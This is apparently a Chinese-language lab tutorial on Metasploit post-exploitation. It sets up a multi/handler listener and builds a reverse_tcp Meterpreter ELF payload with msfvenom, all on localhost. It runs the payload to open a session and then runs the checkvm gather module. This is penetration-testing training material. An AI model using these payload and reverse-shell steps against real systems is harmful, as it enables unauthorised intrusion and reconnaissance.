在 Metasploit 中运行后渗透模块

Kali LinuxBeginner
立即练习

引言

后渗透(Post-exploitation)是渗透测试中,攻击者获得目标系统初始访问权限后所处的阶段。在此阶段,目标是收集更多信息、提升权限、横向移动到其他系统以及维持持久访问。Metasploit Framework 提供了大量的后渗透模块来自动化这些任务。

在本实验(lab)中,你将学习使用 Metasploit 中后渗透模块的基本工作流程。你将首先建立一个 Meterpreter 会话,然后搜索合适的模块,配置它,并针对活动会话运行它以收集目标系统的信息。我们将以 post/linux/gather/checkvm 模块为例,该模块尝试判断被攻陷的主机是否为虚拟机。

拥有一个活动的 Meterpreter 会话

在此步骤中,你将在 Metasploit 中设置一个监听器,然后执行一个 payload 来模拟一个被攻陷的主机回连,从而创建一个活动的 Meterpreter 会话。此会话是运行任何后渗透模块的前提条件。

首先,让我们启动 Metasploit Framework 控制台。打开一个终端并输入:

msfconsole -q

-q 标志使启动横幅(banner)保持静默。一旦你进入 msf6 > 提示符,我们将配置一个监听器。我们将使用一个通用的 handler 和一个 Linux Meterpreter payload。

msfconsole 提示符下输入以下命令:

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 127.0.0.1

现在,使用 exploit -j 将监听器作为后台作业运行:

exploit -j

你应该会看到一个确认信息,表明 handler 已启动。

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444

现在,打开一个新终端(你可以使用终端标签栏中的 + 按钮)。在这个新终端中,我们将生成并运行连接回我们监听器的 payload。我们将使用 msfvenom 来创建一个 Linux 可执行文件。

第二个终端中,执行此命令来创建 payload:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/shell.elf

此命令将在你的 ~/project 目录中创建一个名为 shell.elf 的 ELF(Executable and Linkable Format)文件。

接下来,使文件可执行:

chmod +x ~/project/shell.elf

最后,运行 payload 以建立会话:

./shell.elf

现在,切换回你的第一个终端(即带有 msfconsole 的那个)。你应该会看到一条消息,表明已创建了一个新会话。

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38978) at 2023-10-27 10:30:00 -0400

为了确认,你可以使用 sessions 命令列出所有活动的会话。

sessions

你将看到列出的活动会话,这意味着你已准备好进行下一步。

Active sessions
===============

  Id  Name  Type                     Information  Connection
  --  ----  ----                     -----------  ----------
  1         meterpreter x86/linux               127.0.0.1:4444 -> 127.0.0.1:38978 (127.0.0.1)

后台化会话并使用 search 命令查找 post 模块

在此步骤中,你将学习如何与新会话进行交互,然后返回到主 msfconsole 提示符以搜索后渗透模块。

在执行 sessions 命令后,你将处于 msf6 > 提示符下。要与会话进行交互,请使用 sessions -i 命令,后跟会话 ID。

sessions -i 1

你的提示符将变为 meterpreter >,表明你现在已进入被攻陷系统的会话。

[*] Starting interaction with 1...

meterpreter >

要运行后渗透模块,你需要处于主 msf6 > 提示符下。要使 Meterpreter 会话保持活动状态但返回到主控制台,请使用 background 命令。

background

你将看到一条确认消息,表明会话正在后台运行,并且你的提示符将返回到 msf6 >

[*] Backgrounding session 1...
msf6 >

现在,你可以使用 search 命令搜索后渗透模块。此命令功能强大,可以按类型、平台、名称等过滤模块。要查找检查虚拟机的模块,你可以搜索关键词 checkvm

search checkvm

Metasploit 将列出所有匹配该关键词的模块。

Matching Modules
================

   ##   Name                                 Disclosure Date  Rank    Check  Description
   -   ----                                 ---------------  ----    -----  -----------
   0   post/linux/gather/checkvm                             normal  No     Linux Gather Virtual Machine Environment Detection
   1   post/windows/gather/checkvm                           normal  No     Windows Gather Virtual Machine Environment Detection
   ...

这表明我们有适用于 Linux 和 Windows 的模块。由于我们的会话是在 Linux 目标上,我们将使用 post/linux/gather/checkvm

选择一个后渗透模块,例如 post/linux/gather/checkvm

在此步骤中,你将选择在上一步中找到的后渗透模块,并查看其配置选项。

要在 Metasploit 中选择或“使用”一个模块,你需要使用 use 命令,后跟模块的完整名称。根据我们的搜索结果,我们将使用 post/linux/gather/checkvm

use post/linux/gather/checkvm

你的提示符将发生变化,以反映当前选定的模块。

msf6 post(linux/gather/checkvm) >

一旦选定了一个模块,你应该始终检查其选项,以了解需要配置的内容。show options 命令将显示当前模块的所有可用设置。

show options

输出将显示模块的选项、它们的当前设置以及是否是必需的。

Module options (post/linux/gather/checkvm):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

正如你所见,SESSION 选项是必需的,但它还没有值。此选项告诉 Metasploit 要在你的哪个活动会话上运行该模块。

将 SESSION 选项设置为你的活动会话 ID

在此步骤中,你将为后渗透模块配置必需的 SESSION 选项。

从前面的步骤中,我们知道我们的活动会话 ID 是 1。我们需要将此 ID 提供给模块。set 命令用于配置模块选项。

要将 SESSION 选项设置为 1,请运行以下命令:

set SESSION 1

你应该会看到一个确认消息,表明该值已设置。

SESSION => 1

为了确保无误,你可以再次运行 show options 来验证 SESSION 选项是否已正确配置。

show options

输出现在将显示 1 作为 SESSION 的当前设置。

Module options (post/linux/gather/checkvm):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.

设置好 SESSION 选项后,模块现在已准备好执行。

运行模块并分析结果

在此步骤中,你将执行已配置的后渗透模块并分析其输出。

在选定模块并设置好所有必需选项后,你现在可以执行它了。在 Metasploit 中,你可以使用 runexploit 命令来执行模块。对于后渗透模块,通常使用 run

run

模块现在将在目标会话(Session 1)上执行。它将执行检查并将其结果打印到你的控制台。LabEx 环境运行在虚拟化环境中,因此你应该会看到一个积极的结果。

[*] Checking for Xen...
[+] This is a Xen Virtual Machine
[*] Checking for VMWare...
[*] This does not appear to be a VMWare Virtual Machine.
[*] Checking for VirtualBox...
[*] This does not appear to be a VirtualBox Virtual Machine.
[*] Checking for KVM...
[+] This is a KVM/QEMU Virtual Machine
[*] Checking for Hyper-V...
[*] This does not appear to be a Hyper-V Virtual Machine.
[*] Post module execution completed

结果分析:

输出清楚地表明,目标系统被检测为 Xen 和 KVM/QEMU 虚拟机。这对渗透测试人员来说是宝贵的情报。了解目标是虚拟化的,可能会影响未来的行动,例如寻找虚拟机逃逸漏洞或理解底层基础设施。

你现在已成功运行了你的第一个后渗透模块!

总结

在本实验中,你学习了在 Metasploit Framework 中使用后渗透模块的基本工作流程。你成功地完成了从建立立足点到收集目标系统情报的整个过程。

你已学会如何:

  • 创建一个监听器并建立一个 Meterpreter 会话。
  • 将活动会话置于后台,以返回到主 msfconsole 提示符。
  • 使用 search 命令查找相关的后渗透模块。
  • 使用 use 命令选择模块,并使用 show options 查看其设置。
  • 通过设置必需的 SESSION 选项来配置模块。
  • 使用 run 命令执行模块并分析其输出。

这项基本技能是更高级的后渗透活动(如权限提升、凭证收集和跨网络横向移动)的基石。